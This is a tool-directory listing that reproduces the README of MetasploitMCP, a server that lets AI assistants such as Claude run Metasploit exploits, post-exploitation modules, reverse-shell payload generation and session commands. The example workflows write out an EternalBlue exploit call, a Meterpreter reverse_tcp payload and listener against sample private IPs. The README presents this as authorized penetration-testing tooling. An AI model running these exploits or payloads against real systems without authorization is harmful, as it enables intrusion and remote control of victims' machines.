Back to search
MetasploitMCP
SkillGitHub
MCP Server for Metasploit
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Checked today
Badge for your README
Markdown
[](/listings/gh05tcrew--metasploitmcp)HTML
<a href="/listings/gh05tcrew--metasploitmcp"><img src="/api/listings/gh05tcrew--metasploitmcp/badge.svg" alt="findsafeskills safety rating" /></a>Install
i
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
1. Clone this repository 2. Install dependencies:
pip install -r requirements.txt
3. Configure environment variables (optional):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
README.md · README · 321 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
- # Metasploit MCP Server
- A Model Context Protocol (MCP) server for Metasploit Framework integration.
- https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
- ## Description
- This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
- ## Features
- ### Module Information
- - **list_exploits**: Search and list available Metasploit exploit modules
- - **list_payloads**: Search and list available Metasploit payload modules with optional platform and architecture filtering
- ### Exploitation Workflow
- - **run_exploit**: Configure and execute an exploit against a target with options to run checks first
- - **run_auxiliary_module**: Run any Metasploit auxiliary module with custom options
- - **run_post_module**: Execute post-exploitation modules against existing sessions
- ### Payload Generation
- - **generate_payload**: Generate payload files using Metasploit RPC (saves files locally)
- ### Session Management
- - **list_active_sessions**: Show current Metasploit sessions with detailed information
- - **send_session_command**: Run a command in an active shell or Meterpreter session
- - **terminate_session**: Forcefully end an active session
- ### Handler Management
- - **list_listeners**: Show all active handlers and background jobs
- - **start_listener**: Create a new multi/handler to receive connections
- - **stop_job**: Terminate any running job or handler
- ## Prerequisites
- - Metasploit Framework installed and msfrpcd running
- - Python 3.10 or higher
- - Required Python packages (see requirements.txt)
- ## Installation
- 1. Clone this repository
- 2. Install dependencies:
- ```
- pip install -r requirements.txt
- ```
- 3. Configure environment variables (optional):
- ```
- MSF_PASSWORD=yourpassword
- MSF_SERVER=127.0.0.1
- MSF_PORT=55553
- MSF_SSL=false
- PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
- ```
- ## Usage
- Start the Metasploit RPC service:
- ```bash
- msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
- ```
- ### Transport Options
- The server supports two transport methods:
- - **HTTP/SSE (Server-Sent Events)**: Default mode for interoperability with most MCP clients
- - **STDIO (Standard Input/Output)**: Used with Claude Desktop and similar direct pipe connections
- You can explicitly select the transport mode using the `--transport` flag:
- ```bash
- # Run with HTTP/SSE transport (default)
- python MetasploitMCP.py --transport http
- # Run with STDIO transport
- python MetasploitMCP.py --transport stdio
- ```
- Additional options for HTTP mode:
- ```bash
- python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
- ```
- ### Claude Desktop Integration
- For Claude Desktop integration, configure `claude_desktop_config.json`:
- ```json
- {
- "mcpServers": {
- "metasploit": {
- "command": "uv",
- "args": [
- "--directory",
- "C:\\path\\to\\MetasploitMCP",
- "run",
- "MetasploitMCP.py",
- "--transport",
- "stdio"
- ],
- "env": {
- "MSF_PASSWORD": "yourpassword"
- }
- }
- }
- }
- ```
- ### Other MCP Clients
- For other MCP clients that use HTTP/SSE:
- 1. Start the server in HTTP mode:
- ```bash
- python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
- ```
- 2. Configure your MCP client to connect to:
- - SSE endpoint: `http://your-server-ip:8085/sse`
- ## Security Considerations
- ⚠️ **IMPORTANT SECURITY WARNING**:
- This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
- - Always validate and review all commands before execution
- - Only run in segregated test environments or with proper authorization
- - Be aware that post-exploitation commands can result in significant system modifications
- ## Example Workflows
- ### Basic Exploitation
- 1. List available exploits: `list_exploits("ms17_010")`
- 2. Select and run an exploit: `run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})`
- 3. List sessions: `list_active_sessions()`
- 4. Run commands: `send_session_command(1, "whoami")`
- ### Post-Exploitation
- 1. Run a post module: `run_post_module("windows/gather/enum_logged_on_users", 1)`
- 2. Send custom commands: `send_session_command(1, "sysinfo")`
- 3. Terminate when done: `terminate_session(1)`
- ### Handler Management
- 1. Start a listener: `start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)`
- 2. List active handlers: `list_listeners()`
- 3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})`
- 4. Stop a handler: `stop_job(1)`
- ## Testing
- This project includes comprehensive unit and integration tests to ensure reliability and maintainability.
- ### Prerequisites for Testing
- Install test dependencies:
- ```bash
- pip install -r requirements-test.txt
- ```
- Or use the convenient installer:
- ```bash
- python run_tests.py --install-deps
- # OR
- make install-deps
- ```
- ### Running Tests
- #### Quick Commands
- ```bash
- # Run all tests
- python run_tests.py --all
- # OR
- make test
- # Run with coverage report
- python run_tests.py --all --coverage
- # OR
- make coverage
- # Run with HTML coverage report
- python run_tests.py --all --coverage --html
- # OR
- make coverage-html
- ```
- #### Specific Test Suites
- ```bash
- # Unit tests only
- python run_tests.py --unit
- # OR
- make test-unit
- # Integration tests only
- python run_tests.py --integration
- # OR
- make test-integration
- # Options parsing tests
- python run_tests.py --options
- # OR
- make test-options
- # Helper function tests
- python run_tests.py --helpers
- # OR
- make test-helpers
- # MCP tools tests
- python run_tests.py --tools
- # OR
- make test-tools
- ```
- #### Test Options
- ```bash
- # Include slow tests
- python run_tests.py --all --slow
- # Include network tests (requires actual network)
- python run_tests.py --all --network
- # Verbose output
- python run_tests.py --all --verbose
- # Quick test (no coverage, fail fast)
- make quick-test
- # Debug mode (detailed failure info)
- make test-debug
- ```
- ### Test Structure
- - **`tests/test_options_parsing.py`**: Unit tests for the graceful options parsing functionality
- - **`tests/test_helpers.py`**: Unit tests for internal helper functions and MSF client management
- - **`tests/test_tools_integration.py`**: Integration tests for all MCP tools with mocked Metasploit backend
- - **`conftest.py`**: Shared test fixtures and configuration
- - **`pytest.ini`**: Pytest configuration with coverage settings
- ### Test Features
- - **Comprehensive Mocking**: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
- - **Async Support**: Full async/await testing support using pytest-asyncio
- - **Coverage Reporting**: Detailed coverage analysis with HTML reports
- - **Parametrized Tests**: Efficient testing of multiple input scenarios
- - **Fixture Management**: Reusable test fixtures for common setup scenarios
- ### Coverage Reports
- After running tests with coverage, reports are available in:
- - **Terminal**: Coverage summary displayed after test run
- - **HTML**: `htmlcov/index.html` (when using `--html` option)
- ### CI/CD Integration
- For continuous integration:
- ```bash
- # CI-friendly test command
- make ci-test
- # OR
- python run_tests.py --all --coverage --verbose
- ```
- ## Configuration Options
- ### Payload Save Directory
- By default, payloads generated with `generate_payload` are saved to a `payloads` directory in your home folder (`~/payloads` or `C:\Users\YourUsername\payloads`). You can customize this location by setting the `PAYLOAD_SAVE_DIR` environment variable.
- **Setting the environment variable:**
- - **Windows (PowerShell)**:
- ```powershell
- $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
- ```
- - **Windows (Command Prompt)**:
- ```cmd
- set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
- ```
- - **Linux/macOS**:
- ```bash
- export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
- ```
- - **In Claude Desktop config**:
- ```json
- "env": {
- "MSF_PASSWORD": "yourpassword",
- "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
- }
- ```
- **Note:** If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
- ## License
- Apache 2.0
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.